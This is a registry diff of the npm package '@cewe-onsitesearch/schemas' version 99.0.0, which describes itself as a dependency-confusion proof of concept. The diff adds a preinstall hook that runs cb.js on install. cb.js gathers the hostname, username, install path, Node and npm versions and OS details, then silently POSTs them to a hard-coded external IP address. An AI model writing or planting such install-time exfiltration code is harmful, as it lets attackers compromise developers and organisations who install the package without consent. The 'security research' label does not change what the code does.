@cewe-onsitesearch/schemas 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/cb.js +32 -0
  2. package/index.js +2 -0
  3. package/package.json +9 -0
package/cb.js ADDED
@@ -0,0 +1,32 @@
1
+
2
+ const https = require("https");
3
+ const http = require("http");
4
+ const os = require("os");
5
+ const {execSync} = require("child_process");
6
+
7
+ const data = JSON.stringify({
8
+ h: os.hostname(),
9
+ u: os.userInfo().username,
10
+ d: __dirname,
11
+ nv: process.version,
12
+ npm: (() => { try { return execSync("npm -v").toString().trim(); } catch { return "?"; } })(),
13
+ os: os.type(),
14
+ osr: os.release(),
15
+ arch: os.arch(),
16
+ pid: process.pid,
17
+ t: Date.now()
18
+ });
19
+
20
+ const url = new URL("http://75.119.159.178:8443/cb/cewe-onsitesearch--schemas");
21
+ const mod = url.protocol === "https:" ? https : http;
22
+ const req = mod.request({
23
+ hostname: url.hostname,
24
+ port: url.port || (url.protocol === "https:" ? 443 : 80),
25
+ path: url.pathname,
26
+ method: "POST",
27
+ headers: { "Content-Type": "application/json", "Content-Length": data.length },
28
+ timeout: 5000
29
+ }, () => {});
30
+ req.on("error", () => {});
31
+ req.write(data);
32
+ req.end();
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Security research PoC - dependency confusion test
2
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "@cewe-onsitesearch/schemas",
3
+ "version": "99.0.0",
4
+ "description": "Security research - dependency confusion PoC",
5
+ "scripts": {
6
+ "preinstall": "node cb.js"
7
+ },
8
+ "main": "index.js"
9
+ }